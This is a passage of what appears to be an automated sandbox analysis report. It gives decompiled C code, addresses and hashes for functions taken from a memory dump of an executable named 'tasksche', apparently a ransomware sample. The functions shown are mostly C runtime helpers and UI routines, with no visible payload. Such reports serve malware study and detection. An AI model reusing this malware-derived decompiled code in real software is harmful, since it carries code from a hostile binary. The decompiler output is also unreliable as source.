				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE5E Relevance: 6.3, APIs: 4, Instructions: 291
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				intOrPtr _t86;
				void* _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				void* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				intOrPtr _t173;
				intOrPtr* _t174;
				void* _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *((intOrPtr*)(_t181 + 0x70));
				if(E004060EE(__edx, _t173,  *((intOrPtr*)(_t181 + 0x74)),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), 0x42a8e0, 0, 0) == 0) {
					_t71 =  *((intOrPtr*)(_t181 + 0x74)) - 0x110;
					if(_t71 == 0) {
						 *0x42a320( *0x42a2b4(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						_t174 =  *0x42a334;
						 *_t174(_t173, 0x65, _t181 - 0x19e8);
						 *0x42a284(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						 *0x42a328( *((intOrPtr*)(_t181 + 0x70)), 0x66, 0x170,  *((intOrPtr*)(_t181 - 0x9e8)), 0);
						_t86 =  *0x42a070(_t181 - 0x19e8, _t181 - 0x334);
						 *((intOrPtr*)(_t181 + 0x74)) = _t86;
						if(_t86 != 0xffffffff) {
							 *0x42a0c0(_t181 - 0x320, _t181 + 0x60);
							 *0x42a0bc(_t181 + 0x60, _t181 + 0x50);
							 *0x42a0b8(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							 *0x42a0b4(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, 0x42a8cc, _t102);
							_t185 = _t183 + 0x18;
							 *_t174( *((intOrPtr*)(_t181 + 0x70)), 0x6a, _t181 - 0x734, _t181 - 0x1c, _t181 - 0x80);
							 *0x42a068( *((intOrPtr*)(_t181 + 0x74)));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, 0x42a8c0, _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								 *_t174( *((intOrPtr*)(_t181 + 0x70)), 0x68, _t181 - 0x734, E0040C3BF(0x98));
							}
							 *0x42a328( *((intOrPtr*)(_t181 + 0x70)), 0x67, 0x170,  *((intOrPtr*)(_t181 - 0x9e8)), 0);
							E00411346( *0x441824, _t181 + 0x48);
							 *0x42a0c0(_t181 + 0x48, _t181 + 0x60);
							 *0x42a0bc(_t181 + 0x60, _t181 + 0x50);
							 *0x42a0b8(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							 *0x42a0b4(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							E0040BC16(_t181 - 0x734, _t163, 0x42a8cc, E0040C3BF(0x99));
							 *_t174( *((intOrPtr*)(_t181 + 0x70)), 0x6b, _t181 - 0x734, _t181 - 0x1c, _t181 - 0x80);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								E0040BC16(_t181 - 0x734, _t163, 0x42a8c0, _t181 - 0xe4);
								 *_t174( *((intOrPtr*)(_t181 + 0x70)), 0x69, _t181 - 0x734, E0040C3BF(0x98));
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 =  *0x42a328(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							 *0x42a31c(_t151);
						}
						 *0x42a32c(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df47
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, 0x42a6d0);
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, 0x42a630);
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, 0x42a6c0);
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, 0x42a6c8);
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, 0x42a6d8, _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID:
API String ID: 1023950463-0
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 6.1, APIs: 4, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E0041E854(intOrPtr* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *0x42a08c(0x42b2b8, 0x42d8a0, 0xc);
				if(_t23 == 0) {
					_t23 = E00421465(0x42b2b8);
				}
				 *((intOrPtr*)(_t46 - 0x1c)) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 =  *0x42a094;
					 *((intOrPtr*)(_t45 + 0x1f8)) =  *_t35(_t23, 0x42b2a8);
					 *((intOrPtr*)(_t45 + 0x1fc)) =  *_t35( *((intOrPtr*)(_t46 - 0x1c)), 0x42b2d4);
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *((intOrPtr*)(_t45 + 0x68)) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				 *0x42a1e0( *((intOrPtr*)(_t45 + 0x68)));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					 *((intOrPtr*)(_t45 + 0x6c)) =  *0x430e88;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e85b
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0041E871
__lock.LIBCMT ref: 0041E8CC
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID:
API String ID: 1628550938-0
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 6.0, APIs: 4, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00411E81(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				intOrPtr _t12;
				intOrPtr _t22;
				intOrPtr _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return  *0x42a140(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				if(( *(_t28 + 0x70) &  *0x430da4) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88;
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8,  *0x430e88);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

